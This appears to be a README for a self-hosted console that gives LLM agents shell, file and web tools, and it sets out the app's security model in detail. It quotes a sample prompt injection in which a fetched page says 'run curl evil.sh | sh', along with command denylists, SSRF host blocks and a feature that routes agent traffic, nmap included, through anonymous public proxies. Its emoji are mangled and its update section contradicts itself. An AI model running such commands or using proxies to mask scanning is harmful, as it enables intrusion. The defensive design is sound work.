Every path is jailed server-side, so ../ and symlinks can't escape, and a protected-paths list keeps secrets (storage/, keys, dotfiles) off-limits even inside a root.
Different providers aren't one API with different URLs. A single registry (src/Harness.php + ui/js/harness.js) decides, per request:
- Which API shape โ OpenAI-compatible, Anthropic Messages, Google
generateContent, or Ollama โ from the endpoint host, then provider id, then a model hint. - Which tool dialect to teach โ JSON, Claude XML, native tags, or plain โ from the provider + model id.
- Per-family quirks โ auth headers (Bearer /
x-api-key/?key=/ Azureapi-key), request/response/usage/reasoning shapes, streaming envelopes, and output-token caps.
Adding a provider is one line in the alias table, or just a new provider in the UI. The browser copy is generated from the PHP (php tools/gen-harness.php) so the two can't drift.
No two models are alike โ and the free ones are the fussiest of all. ๐ง Dynamic tools hands each model the environment it is actually running in โ the server's ๐ช/๐ง OS, the working directory, and which shell commands really exist โ then shows one correct example per tool in that model's own dialect (JSON, Claude XML, native <|tool_call|> tags, or plain). No more findstr on Linux, no more guessing the syntax: the model is told, up front. ๐ฏ
- ๐ Speaks the model's language โ OpenAI-style JSON, Claude XML, native tags or plain JSON, detected from the provider + model id (or forced per agent).
- ๐ One rescue retry โ if a reply looks like a tool call but parses to nothing, the loop re-teaches once with a different dialect instead of letting the near-miss become the answer.
- ๐ง Learns the winner โ once a call parses, the dialect that worked is remembered per
provider + modeland tried first next time. - ๐ Off in one click โ Config โ Labs โ Dynamic tools restores the classic behaviour exactly, if you ever want it.
Free, quantised models that used to burn 6โ8 calls guessing now get it right the first time. ๐
A 40-requests-per-minute key dies when 16 chart nodes fire at once. The pacer counts outbound calls per host + key and waits instead of spending a 429.
- Per-key buckets โ four agents on four keys are four buckets; two agents on one key correctly share.
- Knows the free tiers โ NVIDIA NIM 40/min, Groq 30, OpenRouter 20, โฆ with a host default for anything unknown. Set the global field to
0 = AUTOto use each provider's real ceiling, or type a number to override everyone. Precedence: agent lock โ provider โ global โ host default. - Learns from a 429 โ a real refusal holds the bucket closed for the server's
Retry-After.
Got several keys for one provider โ a handful of free accounts, a team key, a spare? ๐๏ธ Drop them into the provider's API pool and let the console do the shuffling.
- ๐ Rotate after N requests โ set the number and the pool hands out the next key when one reaches it (
0= every call). - ๐ฏ Pin a key to a model โ tick Only this model and enter a model # (like
#63BET7) or a model id, and that key circles just that model while everything else keeps the single key. - ๐ด 429s get rested โ a rate-limit refusal puts a key on a 60-second cooldown and the next call reaches for another, so one exhausted free tier never stalls the whole provider.
- ๐งท Your explicit key still wins โ an agent's own Key Override always takes precedence. The feature is on by default and stays completely inert until a provider actually carries pool keys (empty pool โ the single provider key, exactly as before); switch it off in Config โ Labs to ignore pools entirely.
It stacks with the pacer: every key is counted in its own bucket ๐, so a busy fleet spreads its load instead of slamming one ceiling.
Agents leak. ๐ต๏ธ By default every model call, every web_search, every fetch_url and every curl an agent runs in the shell leaves from your IP. The Proxy tab โ in the top nav, beside Providers โ puts a checkpoint in front of all of it.
- ๐ REFRESH LIST pulls hundreds at once. The server reads a live public proxy feed โ the kind of list that rotates daily โ and keeps only what is usable: alive, HTTP, IPv4 (this host dials IPv4 for
CURLOPT_PROXY, so an IPv6 entry would look selected while traffic quietly went direct) and identity-hiding only. The header tells you what you got โ 340 IPv4 proxies (elite + anonymous) โ and the drop counters explain a short list instead of leaving you to guess. - ๐ฅ Two grades of hiding, and nothing below them. ELITE (best) never announces itself and never forwards your address, so the far end sees a stranger. ANONYMOUS (better) strips your address, but the request may still be identifiable as proxied. Transparent proxies are refused at the source: they are your real IP with extra steps.
- ๐ก Ping and uptime, per row. PING measures a real round-trip through that proxy to
https://httpbin.org/ip; PING ALL sweeps the whole list in one server request withcurl_multi, so 300 rows take seconds instead of the better part of an hour. Uptime comes from the feed's own history โ how much of the recent past that endpoint answered โ and Working only hides the rows that stopped answering. - โญ Favourites stick. Star a row and it is kept with your settings rather than in the feed, so a proxy that worked yesterday is one click away after the list rotates.
- โ
USE routes everything, server-side. The choice is saved in
config.json, because the server is what makes the call โ a browser-only setting is invisible to it, which is exactly why picking a proxy once changed nothing. From then on: model relays,web_search,fetch_urland every shell command that honours proxy variables (curl,wget,nmap) go through it, whilelocalhostand127.0.0.1stay direct viaNO_PROXY. A per-request proxy in an agent's own spec still wins over the global choice. โ ๏ธ It does not fail closed โ deliberately. Free lists rot; when the selected proxy dies, calls fail with a curl error and its row says so. That is a consequence you can see, not a silent fall back to your real address. CLEAR SELECTION returns everything to the direct route.
- Agent cards show a live line:
โก tokens/budget ยท N req ยท up 2h ยท 40/minโ with a tooltip of in/out tokens, billed calls, output cap, context window and last call. Set a token budget (Config โ Limits) and it showsused/limit (%). - ๐ Run trace (Config โ TRACE) is one viewer with three tabs:
- RUNS โ a sequenced timeline of every model turn and tool call: time, agent, model/tool, ms, ok/fail, and token cost โ plus totals.
- COMMS โ what the agents actually said to each other, with the text: the question, the answer that came back, one-way orders and pings, each with its duration and a failure marker. Kept in memory (300 exchanges) for the page-load; agent chat is never written to
storage/. - EXEC โ
storage/exec.logparsed into runs, newest first: time, agent, command, working directory, duration, exit code, and a no end marker for a run that started and never reported back. Read-only โ the UI has no button that can clear evidence.
- ๐ฃ๏ธ Per-agent, from the map โ an agent's card on the chart shows Recent messages with what was said, and Messages โ opens a drawer scoped to that agent (Talk / Runs). Hovering a beam reads "Agent A โ Agent B: โฆ".
- ๐งพ The audit trail is two-phase โ each
exec/run_coderun writesphase=startbefore the process spawns andphase=endafterwards, sharing onerun=id and carryingagent=<id>. A command killed mid-run therefore leaves a visible start with no end instead of no record at all, and every line can be tied to the turn that asked for it.
The whole loop as a living map. Every activated agent and provider becomes a glowing node, and each exchange paints a dotted line whose dots travel the way the traffic actually moved.
๐๏ธ It is also the most expensive thing in the app, so every visual it owns has a switch in Config โ Desktop โ fog, bloom, the floating floor, auto-rotate, map detail and the frame cap. That card โ every knob, what it costs and what it defaults to โ is detailed in Config โ Desktop above. ๐งฎ
- ๐ง You โ the red node at the heart of the graph, with a live card: ๐จ prompts sent, ๐ฌ replies, ๐ค agents online, โ๏ธ working now, ๐ช session tokens and ๐ก fleet average ping.
- ๐ค Agent nodes โ one per activated agent, ringed in its own colour, showing its role, model, โ๏ธ tool calls and โฌก token spend, with ๐ง ripple rings while it works.
- ๐ฃ Provider nebulas โ each provider breathes as a soft cloud, with its agents orbiting inside.
- ๐งต Traffic lines โ dotted and colour-matched to the model, with dots marching the direction the message actually travelled: โก๏ธ toward You for a reply, โฌ ๏ธ from You for a request.
- ๐น๏ธ Controls โ drag to orbit, scroll to zoom, right-drag to pan, click a node for its ๐ metrics, and switch ๐ง 3D / ๐บ๏ธ 2D or go fullscreen.
- ๐ Notifications โ a bell keeps a running list of run errors and warnings so nothing scrolls past unnoticed.
- ๐ MCP nodes โ a server you call (amber) and a friend's client connected to you (sky) each become a node with the same clickable card: transport, reachability and tool count, tool policy, scope, and recent calls. Outgoing calls animate live (agent โ server โ agent); incoming friend traffic ticks in from the server's audit log.
- ๐๏ธ Two extra tabs on every MCP card โ Access edits the node itself (a server's connection plus a per-server tool allow/deny; a friend's read/write/exec scope and IP allowlist); Permissions edits the app-wide shell allow/deny lists, interpreter levels, auto-approve / auto-deny and the code interpreter โ inline.
- โ Ask a model from its node โ the 3D card carries an ASK button that docks a small prompt box with a send button and a Voice toggle. The answer lands in a floating box pinned to the graph, isolated from the transcript, while the traffic still animates.
- ๐ ๏ธ Verbose inline replies โ the graph's reply box prints the real tool work verbatim (call name, pretty-printed arguments, status, duration, full output) before the closing answer, and only the closing answer is ever read aloud. ๐
The living map is lovely and also, by default, always on. Config โ Resource Manager adds optional brakes โ every switch off by default, so nothing changes until you ask:
- ๐ช Pause when a panel is open (routing chart, API Lab, Brain Lab, browser, modals) โ no point rendering a graph behind a full-screen drawer.
- ๐ฏ Pause when the window isn't focused โ switch to another app and it stands down.
- ๐ Pause when the graph is off-screen โ an
IntersectionObserver, which also fixes the mobile case where the panel is slid off-screen and kept rendering unnoticed. - ๐ข Slow down when idle (default 10 fps) โ idle means no traffic beams, no working agents, settled layout, no recent interaction.
- ๐งญ Two speedometer gauges + an FPS / frame-ms readout โ CPU is this app's JS share of each frame; GPU is real GPU ms via
EXT_disjoint_timer_query_webgl2when the browser exposes it, otherwise a clearly-labelled estimate.
Some models show their work. ๐ญ๐งฉ When a provider streams a reasoning trace, the thinking panel opens and shows it live, so you can watch the model deliberate before the answer lands โ handy for debugging a stubborn prompt without cluttering the reply.
Agents keep private notes and share a small collective every agent reads. Tools: remember (private), share (collective), recall, adopt. Notes are injected as recollection, not instructions, and are fully editable/deletable in Brain Lab.
Two recent hardenings so memory can't look "off":
- If a model narrates a tool call ("I'll use the remember tool") instead of emitting it, the loop re-prompts once to actually send it.
- Memory syncs across devices but unions by id โ a sync can never silently drop a note that exists only in your browser.
Replayed history is budgeted against the model's real context window instead of a fixed 24k characters, and oversized tool output keeps its head and tail rather than being cut mid-result.
Take your work with you. ๐ฆ
- ๐ค Export a session โ download one conversation from the transcript, or
GET /export/{id}. - ๐๏ธ Back up everything โ
GET /backupgrabs the whole state as a single file. - ๐ฅ Import โ
POST /importrestores it on this machine, or another.
The app checks its own published release, shows you exactly what would change, and then โ if you say so โ installs it, keeping a rollback copy of the code you had. ๐งพ
- ๐ฅ Config โ Updates โ DOWNLOAD UPDATEโฆ fetches the published archive from GitHub into
storage/updates/, verifies it, extracts a staging copy and diffs it against your install: N new ยท N changed ยท N unchanged ยท N not in this release โ plus the version each copy calls itself and the archive's SHA-256. - ๐ It checks by itself at load. The server reads two small files from the published copy (
VERSIONandui/js/store.js) and compares version numbers, so the app knows a release exists without downloading one. If the published version is newer, one notification lands in the bell (๐, right panel): "Update available โ published v337, this copy v344. Open Config โ Updates to compare it." Announced once per published version, not once per reload, and the answer is cached for six hours โ so a reload usually costs no network call at all. - ๐๏ธ Two numbers, not one. A release is announced by either of two signals, both read from the published copy:
VERSION(repo root โ the release number, bumped on every release, including one that changes no browser file) andAPP_VERSIONinui/js/store.js(the browser cache-buster, which moves only when a file the browser caches changes). Before the release number existed the check could see only the cache-buster, so a PHP-only release was invisible โ it reported "up to date" for a release that had shipped. - ๐ท๏ธ
VERSIONis a plain integer (347, not2026.10.26): the comparison is numeric, so a dotted date would never read as newer. It also must never be behindAPP_VERSION, andtests/php/update.test.phpfails if it is โ that is what stops a release from quietly making itself invisible. A published copy with noVERSIONat all is judged on its cache-buster instead, so older releases keep working. - ๐ฐ The notification names what shipped. When a newer release exists, the server also reads the top entry of the published
CHANGELOG.mdโ and only then, because that file is the largest in the repo and every byte of it is worthless while the two copies match. The bell says "Update available โ published v349 ยท RELEASING.md: the two-number checklist", and Config โ Updates keeps a What's new: row, so the news survives a reload โ a bell entry is raised once per release and its list lives only in memory. If the CHANGELOG cannot be read, the release is still announced, just without a name. - ๐ That row opens. What's new is a disclosure, not a teaser: closed it names the release and its opening sentence, opened it lists the entry's own lines โ every bullet with its bold lead-in, sub-points indented โ read from the same parse that produced the one-liner, so the two can never disagree. It is capped at 60 lines / 4000 characters and scrolls in place, because the text arrives over the network; when a cap bites it says so rather than pretending the entry ended. Every line is remote text and is placed as text, never as markup โ the bold lead-in is a real element built around escaped content.
- ๐๏ธ The switch is in Config โ Updates: Check for updates when the app loads, on by default, with CHECK NOW to ask immediately and a one-line answer beneath it ("Published v337, this copy v344 โ this copy is the newer one"). Both numbers are always shown, because the published copy can be behind a local one and an arrow would read as an upgrade that takes you backwards. Off silences the load-time check only โ CHECK NOW and DOWNLOAD UPDATE always work.
- ๐ A check that cannot run says nothing. Offline, behind a proxy, or on a PHP with no curl, the load-time check stays quiet: it never blocks boot, never throws, and never claims you are out of date. A failed check is remembered briefly (15 minutes) so an offline machine is not retrying on every reload. The announcement names the release; the file-by-file diff still takes DOWNLOAD UPDATE.
- ๐งญ Ask once, then it runs. The load-time announcement is a prompt with three answers: BACK UP, THEN UPDATE (your settings, saved to this machine's Downloads folder as
router-backup-<version>-<timestamp>.jsonโ that file holds your keys and token, so keep it safe), UPDATE WITHOUT A BACKUP, or CANCEL. Pick either of the first two and the whole chain runs unattended: download โ verify โ diff โ install โ reload. No second confirmation, because the click was the confirmation. - ๐ ๏ธ The install. Config โ Updates โ INSTALL UPDATEโฆ copies the staged release over the app's own files. It refuses
storage/,.git,node_modules,.freebuff,screenshots/andsandbox/before it looks at any file, never writes over a file in place (new bytes land in a dotfile sibling and arerename()d over the target, so a reader sees the old file or the new one and never half of either), and deletes nothing โ a file the release dropped simply stays. - โฉ๏ธ Always a way back. Before the first write it copies the current tree to
storage/backups/<version>-<timestamp>/with amanifest.json(path, size, sha256). Config โ Updates โ ROLL BACK restores it, and if the installed files report a different version than the release claimed, the installer rolls itself back and says so. Two rollback copies are kept, pruned oldest-first. - ๐ฅ๏ธ
install-update.phpโ the way in when the app can't help.php install-update.phpinstalls what is staged,--finishswaps in anything an install had to defer,--rollbackundoes it,--statusreports what is staged and what the last run did. It loads one file, uses no autoloader, refuses to run over HTTP, and exists for two cases a button cannot cover: a Linux host wherewww-datacannot write the app folder, and a tree that a half-finished update already broke โ the code that would fix it is inside that tree. - ๐ช One file cannot be swapped from inside the request that is running it. On Windows the entry script (
api/index.php) is held open for the life of the request, so the installer writes it as.router-new-index.phpand journals it as deferred, finishes everything else, and hands the last swap to a generated script instorage/updates/that runs as its own process a second later. Nothing is ever deleted to make room, and if the handoff cannot happen the UI names the file and the exit (install-update.php --finish). A page load retries it too:autoload.phpis one of the files an install replaces, so the retry runs on the new installer โ the one whose PHP lookup works โ and a stuck update finishes itself a second later. If it still cannot, Config โ Updates opens with 1 file waiting โ this update is unfinished, names the file, and offers FINISH THE UPDATE; the section badge reads UNFINISHED whether or not it is expanded, so the panel never claims up to date while a file is still one rename short. - ๐ It says what it did.
storage/updates/install.logrecords every phase, andinstall.jsoncarries the current one (installing/done/failed/rolled-back). Both are understorage/, so neither is reachable over HTTP. - ๐ Your data is out of scope by construction. The published copy ships a default
storage/folder, so a plain "unzip over the app" would replace your config, token and provider keys with defaults. Everystorage/*entry is refused at extraction time โ before any diff exists โ andstorage/never appears in the comparison. - ๐งญ What โnot in this releaseโ means. Files on disk that the release doesn't contain (
cleancopy/, screenshots, work you haven't pushed) are listed, never deleted. - ๐ก๏ธ The archive is treated as hostile.
httpsonly, on GitHub's release hosts โ checked before the request and again after redirects โ with a 64 MB / 20 000-entry cap, and every entry name resolved by hand:.., absolute paths, drive letters andstream://wrappers are refused rather than written. - ๐๏ธ DISCARD empties
storage/updates/again; the download is ~11 MB and the staging copy goes with one click. - ๐งช Covered by
tests/php/update.test.php: entry-name refusals, wrapper stripping before the storage rule (the bug it was written for), the diff classifications, the source guard, and the CHANGELOG parsers (which line is the title, one bullet only as the summary, markdown stripped, truncation counted in characters so an em dash or emoji cannot make the response un-encodable, and the whole-entry reader behind What's new โ lead-in split, nesting depth, and both caps).
โ ๏ธ Install is deliberately not implemented yet. Choosing what to overwrite โ and merging new config keys into a config that already exists โ is a separate decision from knowing what changed, and this step only does the knowing.
The short version: giving a language model a shell, a filesystem and the web is normally a terrifying idea. So this app assumes the model is hostile, the web content it reads is booby-trapped, and the only trustworthy actor is you, the operator. Every capability is off until you switch it on, every dangerous action asks first, and every escape hatch has a floor beneath it. Nothing ships with a key ๐, nothing runs before a token ๐, and no tool can reach past the fence you drew. ๐งฑ
- ๐ช Every single API route is gated. No token โ
401. The only thing standing between a stranger and your agents' conversations, your files and your shell; the app has no user accounts, on purpose. - ๐งฌ Nothing ships with a token. A fresh copy refuses to serve anything until you run
./setup-token.sh(or the one-click installer does it for you) โ a fresh install answers503 {"error":"no token configured"}. You literally cannot forget to set one. - ๐ต The token never roams. It is a device-local credential, stripped from every state bundle before it is mirrored to the server or synced to another device. One browser's empty field can never wipe another device's working paste.
- ๐ Rotate on demand โ
./setup-token.sh --forcemints a new one; the old value dies instantly. - ๐ Lost it?
./setup-token.sh --showprints the one in use and says whether the gate is on or off. It needs python or php โ whichever answers, php being the one a running copy cannot be without โ and on Windowsstart.bat -Tokenprints the same token with no interpreter at all.
- โ Ask-first by default.
write_file,exec,run_code,git_commitand their friends queue a prompt you answer: Allow once / Always / Deny. - ๐ข Auto-approve is opt-in โ an explicit switch you flip, never an inherited default. Turn it on and any agent may write files without asking; leave it off and a human stays in the loop.
- ๐ Auto-deny โ the panic button. One switch refuses everything that would otherwise ask, instantly, everywhere.
- ๐ฅ A single Pending-approvals queue collects everything waiting (from every agent and every remote MCP friend) so nothing slips through unseen.
- โ An allowlist you own decides which programs may run at all. Each command is matched argument by argument โ no glob fuzz.
- โ A denylist that wins over approvals. It is checked before the allowlist and before the approval prompt, so a name on it can never be waved through with "Always allow".
reboot,shutdown,rm,sudo,cmd,powershelland the classic foot-guns live here. - ๐ โฆbut nothing is denied forever. The list is a default, not a law: an explicit
sandbox.exec_denyinstorage/config.jsonreplaces it wholesale, and the same list is editable inline under Config โ Shell access (or an MCP card's Permissions tab). Remove a name and it becomes an ordinary command again โ refused as "not allowed" and back in the approval queue, exactly like everything else. No program is refused by name anywhere in code. - โฉ๏ธ The undo path is on screen, not in the docs. A refusal names the exact place to fix it โ "delete the
explorerline under Config โ Shell access โ Allow / Deny (section 4), add it to section 2" โ and says why an approval can't do it (the denylist is checked first). In that panel, Restore built-in defaults reloads the shipped list even after a custom one replaced it, so you can always see what you replaced. An empty box falls back to the built-in defaults on purpose: clearing it must not silently un-denyrmandsudo. For a genuinely empty denylist, set"exec_deny": []instorage/config.jsonโ which is what the panel's hint tells you. - ๐งจ Tripwires for metacharacters โ
|,&&,eval,xargs,envand friends are refused, so a model can't smuggle a second command through a "harmless" one. - ๐๏ธ Per-interpreter levels โ Blocked / Scripts only / Full โ so
run_codecan be dialled from "no" to "quiet scripts" to "go wild" independently ofexec.
- ๐ Every path is resolved server-side.
../,..\\, absolute paths and symlinks are all resolved and then checked โ anything outside your declared read/write roots is refused with a message the model can read, not a mysterious crash. - ๐ Protected paths โ secrets are invisible even inside a root. A default deny-list (
storage/,.git,.env*,*.pem,*.key, dotfiles, โฆ) is enforced in the resolver itself, so even if you point the root at the whole app folder, the access token and every provider key still cannot be read. Clear the list to opt out โ nothing is permanent. - โ๏ธ Write scope is separate from read scope. Keep writes in a scratch folder and even a prompt-injected agent can't overwrite
Config.php,.htaccessor session data.
- ๐งฉ
exectakes an argv array, not a string. There is nosh -c, no pipes, no redirects, no$(...)โ so there is no second command to inject, ever. The dangerous parts of "running a command" simply don't exist here. - ๐ช/๐ง Windows-aware โ builtins are implemented in PHP where no
.exeexists,.cmd/.batshims are never shelled, and the prompt is told the truth about the host so it stops guessing. - ๐ค One entry covers both spellings. Policy comparisons fold case and ignore a trailing
.exe/.com, soexec_allow: [grep]matches thegrep.exeGit for Windows actually ships, and a deny entry forbashalso stopsbash.exe(the WSL launcher). Without this the lists only protected the spelling you happened to type. - ๐ช The Windows command hosts are denied by default.
cmd,powershell,pwsh,wscript,cscript,mshta,rundll32,regsvr32,msiexec,wmic,schtasks,sc,reg,regeditandexplorerare each the local spelling ofsh -cโ the payload rides inside an argument, so the allowlist, the path guard and the jail never see it. They are defaults you can remove, not permanent refusals: that is the difference between a policy and a hardcoded block.
- ๐งท
apply_patch(V4A) andmulti_editare all-or-nothing. Every hunk must match its context exactly once; one miss and nothing is written โ no half-applied file, no corrupted source. - ๐ Read-before-write is the taught workflow, and search/replace refuses an ambiguous match rather than guessing which one you meant.
- ๐ A subcommand allowlist โ read-only commands (
status,diff,log,show,blame) run freely; anything that writes (add,commit,checkout, โฆ) asks first. - ๐ซ Retargeting flags refused โ
-c,--git-dir,--work-tree,--outputcan't be used to point git at somewhere it shouldn't go.git_commitsupplies a safe default identity so it works on a clean host.
- ๐ฐ๏ธ
fetch_urlandhttp_requestrefuse private and cloud-metadata hosts by name โ169.254.x.x,metadata.google.internal,100.100.100.200and friends โ so a model can't use your box to probe the internal network or steal cloud credentials. - ๐
http/httpsonly. SpoofedHost,Content-LengthandAccept-Encodingheaders are stripped; responses are truncated so a giant page can't exhaust memory. - ๐งช The API Lab keeps the same rules and names the layer it failed at (dns / tls / connect / timeout / blocked) instead of leaking a stack trace.
- ๐ Key-shaped headers (
Authorization,x-api-key,Cookie, โฆ) are masked in the UI โ display only. Copy and send still use the real value, and the server never echoes request headers back. - ๐ The converter lesson, learned the hard way. Saved browser pages faithfully preserve secrets. The app now keeps such dumps out of the webroot, and the guidance is plain: strip keys before saving a page.
- ๐งจ An image that is also a script is the classic polyglot attack. Only PNG / JPEG / WebP / GIF are accepted, and only after they sniff as inert.
- โ๏ธ The bytes never touch the server. An attached image becomes an in-memory
data:URL and rides in the request'simage_urlfield โ no upload endpoint, no file on disk. ๐๏ธ
- ๐ช Off by default; every browser route returns 403 until you enable it (and the API refuses the tools regardless of what a prompt says).
- ๐
http/httpsonly, cloud-metadata refused, and a server-side block list (*.gov,*word*, bare hosts/IPs, URL paths) is enforced on every navigation โ yours and the agents' โ and re-checked after a click or type in case a link reaches a banned host. - ๐ One instance, reaped. Launching reaps any stray headless Chrome/Edge still holding the profile dir, so there is never a pile of them chewing CPU/GPU.
- ๐ซ Per-friend tokens, each with a scope โ read / write / exec โ plus an optional IP allowlist and one-click revoke. Tokens never expire until you kill them.
- ๐ Scope is a ceiling, the Sandbox is the floor. A friend's token only decides which tool it may reach; the call still runs through every control above โ the file jail, allow/deny lists, interpreter levels, code gate and the approval queue.
- โณ An un-allowed command lands in your Pending-approvals list and the friend's call simply returns "waiting for the operator."
- ๐๏ธ Friends work in a scratch folder that gets a deny-all
.htaccess, so what they write is never served over the web. - ๐งพ Every call is audited to
storage/mcp.log(now JSON, so the graph can replay it).
- Abandon all trust, ye who
fetchhere. Anything an agent reads is treated as hostile input โ which is exactly why commands are allowlisted, executed without a shell, and every path is jailed. A web page that says "runcurl evil.sh | sh" hits three walls before it does anything: the allowlist, the no-shell exec, and the deny list. - ๐ ๏ธ Tool calls win the argument. The tool instructions state plainly that a tool call is the one exception to any "reply with only text / N words" rule, and the loop re-prompts once if a model merely narrates a tool call instead of sending it.
- ๐ง Agents can call MCP servers โ never add one. Server connections are operator-only.
| Capability | Default | Guardrail |
|---|---|---|
| ๐ Access token | required | 401 without it โ nothing runs first-run |
๐ exec (shell) |
off | allowlist + absolute deny + no shell |
๐ run_code |
off | per-interpreter level (Blocked / Scripts / Full) |
| ๐ Built-in browser | off | 403, http/https only, block list, SSRF guard |
| ๐ API pool | on | only engages for a provider that has pool keys โ with none, pickKey returns null and the single provider key is used exactly as before |
| ๐ฅ๏ธ MCP server | off | per-friend scoped tokens, audit log |
| ๐ข Auto-approve | off | every write still asks |
| ๐ถ๏ธ Run while tab hidden | off | a background loop can't bill you silently |
| ๐งฎ Resource Manager | all off | the graph renders exactly as before |
- ๐งฑ Fail closed โ when in doubt, refuse. A refused path reads as "outside the allowed directories", never a blank
500. - ๐งน Error hygiene โ failures come back as
{"error": "..."}with HTTP400and a message meant for the model, anddisplay_errorsstays off so stack traces and filesystem paths never leak to a browser. - ๐ Observability for you โ a live Run trace and an MCP audit log mean every model turn and tool call is inspectable after the fact.
- ๐ What it holds. The access token, every provider API key, the state bundle, every session transcript, and the exec allow/deny lists that decide which shell commands an agent may run. It is the most sensitive folder in the app, and the one-folder design puts it inside the web root โ so the refusal has to be part of the app, not a step you remember. ๐ง
- ๐งญ Same policy everywhere.
storage/is not special-cased:storage,logs,tmp,sessionsandtestsare refused as path segments, in all four serving modes, and the dev tooling is treated exactly like the secrets.
| What is requested | ๐งช serve.php |
๐ก Apache | ๐ด nginx | ๐ต IIS |
|---|---|---|---|---|
storage/config.json, state.json, sessions |
403 | 403 | 404 | 404 |
tests/php/โฆ, tests/js/โฆ |
403 | 403 | 404 | 404 |
The bare folders (/storage, /tests/) โ no listing either |
403 | 403 | 404 | 404 |
Any depth: <copy>/storage/config.json, <copy>/tests/โฆ |
403 | 403 | 404 | 404 |
โฆ/STORAGE/state.json (case variant) |
403 | 403 | 404 | 404 |
Dotfiles at any depth (.git/โฆ, .htaccess, .env, .htpasswd) |
403 | 403 | 404 | deny ยน |
Loose .json .log .ini .bak .key .pem outside storage/ |
served ยฒ | served ยฒ | 404 | served ยฒ |
/api, /api/sessions, /api/config |
served | served | served | served |
ui/js/tests.js, ui/js/storage.js, /testsuite/ |
served | served | served | served |
ยน IIS has no .htaccess equivalent: its refusal comes from web.config, the way nginx's comes from nginx.example.conf. Apache's own .ht* default is not a substitute โ it covers .htaccess and .htpasswd and serves .git/config quite happily โ which is why the root .htaccess carries the same dot rule as the other two modes. ยฒ These only exist if something wrote them there โ storage/ never is.
- ๐ช Why โany depthโ matters. A second copy of the app โ a backup, an
archive of an older version, a folder kept for comparison โ brings its own
storage/with the same token and keys in it, and itstests/may predatetests/.htaccess. A root-only check served all of that. The guard is therefore a segment rule, not a prefix rule: anything namedstorageanywhere in the path is refused, which is whyhttps://host/router/old-copy/storage/config.jsonanswers403instead of a token. - ๐๏ธ The checkout sits in the web root, so
.git/is part of the surface. This folder is the repository and the thing being served, which puts.git/behind the same door as everything else:.git/configcan carry a remote URL with a token in it, and.git/objectsreconstructs every file ever committed โ including one removed later for holding a secret.serve.phpandnginx.example.confalways refused dotfiles; Apache did not, and served.git/configwith the real[core]section as a 200. The root.htaccessnow refuses any path segment starting with a dot, at any depth, with/.well-knownas the single exception so ACME renewal still works โ andapacheGuards.test.phprequests.git/config,.git/HEAD,.git/objects/pack/and a nested.gitso it cannot quietly reopen. - ๐ง Why Apache needs
RedirectMatch, not just aRewriteRule. In per-directory context a child.htaccessreplaces its parent's rewrite rules unless it opts intoRewriteOptions Inheritโ and every copy of this app ships its own root.htaccess, so a rewrite in the outer app never sees<copy>/tests/โฆ. mod_alias configuration is merged down the tree, so the shippedRedirectMatch 403holds no matter what a nested folder declares. (Found with an Apacherewrite:trace3log: once the request maps into the copy, the parent's rules are skipped entirely.) - ๐ซ API routes are exempt โ deliberately. They are endpoints, not files.
The sidebar asks for
/api/sessionsto list sessions; a rule that matched the word refused that call and broke the UI. No API route maps onto a path on disk โ the handlers openstorage/themselves, server-side. - ๐ฏ Segment-anchored, not substring.
ui/js/tests.js,ui/js/storage.jsand/testsuite/are still served: only a folder actually namedtestsis refused. - ๐ Case-insensitive on purpose. Windows and macOS disks resolve
/STORAGE/state.jsonto the real file, so a case-sensitive check was not a check at all โserve.phplower-cases every segment, Apache usesNC/(?i), and nginx uses~*. - ๐งพ No source either.
serve.phprefuses any.phprequest except the API front controller, so a mistyped path can't print PHP source as text; nginx is told to deny dotfiles and loose data files (.json,.log,.ini,.bak,.key,.pem) even outsidestorage/. - ๐ก Apache files that ship and self-repair.
storage/.htaccessrefuses its whole folder withRequire all denied(plus an Apache 2.2Order/Denyfallback, so an old host gets a clean403rather than a500),tests/.htaccessdoes the same for the dev tooling, and./setup-token.shre-creates the storage one if a deploy lost it. - ๐จ Verify, don't trust. After deploying, ask for both โ in a private window:
JSON or source in the first two means the folder is exposed โ stop and fix the rule before anything else. ๐
curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/storage/config.json # want 403 / 404 curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/tests/js/run.mjs # want 403 / 404 curl -s -o /dev/null -w '%{http_code}\n' https://your-host/router/api/sessions # want 401, never 403
- ๐ฐ The strongest option: keep
storage/outside the document root. If the one-folder design forces it inside, the deny rules above are mandatory, not optional.
A guard nobody requests is a guard you don't have, so each serving mode has a test that makes the real request and fails loudly when a path comes back:
| Test | What it actually does |
|---|---|
๐งช guards.test.php |
Boots serve.php on a loopback port and requests the live paths โ files, bare folders, case variants, dotfiles, the /api/* exemption and lookalike names |
๐ก apacheGuards.test.php |
Boots the local Apache with this folder as DocumentRoot and AllowOverride All, so the shipped .htaccess files themselves are what answer โ /tests, /storage, the archived copy, and the dotfile rule over .git/config, .git/HEAD, .git/objects/ and a nested .git |
๐ด nginxGuards.test.php |
Lifts the location regexes out of nginx.example.conf and runs them through PCRE โ the engine nginx matches with โ so a rule that reopens a hole fails without nginx installed |
| ๐ช nested-copy checks | guards.test.php requests nested paths directly; apacheGuards.test.php does the same against the archived copy when one is present โ the case a root-anchored rule misses |
Run them with the rest of the suite (Tests, below). ๐ฑ
- ๐ซ No CORS wildcard โ deliberately. The API used to answer with
Access-Control-Allow-Origin: *, which let any website on the internetfetch()this server and read the answers: every conversation, the memory and the whole config. The UI is served from this same origin and never needed it. Cross-origin is now refused unless the origin is explicitly listed inROUTER_CORS_ORIGINS(comma-separated), andVary: Originkeeps caches honest. - ๐ก๏ธ Security headers on every Apache response โ
X-Content-Type-Options: nosniff(a.jscanโt be talked into being a script of another type),X-Frame-Options: DENY(the console canโt be framed inside another site, so no clickjacking a SAVE button) andX-XSS-Protection: 1; mode=block. The built-in server addsnosniffto everything it serves, SPA fallback included. - ๐ง Cache policy is part of the contract โ HTML is
no-store; JS and CSS areno-cache, must-revalidate, so a browser can never pair a new module with a month-old one (which is how an oldapi.jsonce ran beside a newtools.js). The UI you audited is the UI that loads. โ - ๐ The token never rides along โ it is stripped from every state bundle before that bundle is mirrored to the server or synced to another device (ยง1).
- ๐ What a read hands back is masked, and a copy with no token answers this machine only. Both are measures in their own right, with their own accounts below: ยง20 ๐ masked reads and ยง21 ๐ local-only.
โ๏ธ The honest caveat: the app is only as safe as the operator's switches. Turn everything on, auto-approve writes, and point the root at
/โ and you have built yourself a very capable foot-gun. The design makes the safe choice the default and makes the unsafe choice deliberate, but it does not (and cannot) read your mind. Keep the root narrow, keep approvals on, and rotate your keys. ๐
An agent can open a real desktop program on the machine this app runs on (Config โ Shell access โ
Programs). It could not do this usefully before: through exec a window was force-closed at the command
timeout while the whole turn waited on it.
- ๐ท๏ธ The operator's list is the whole allowlist. An agent may only name a program from
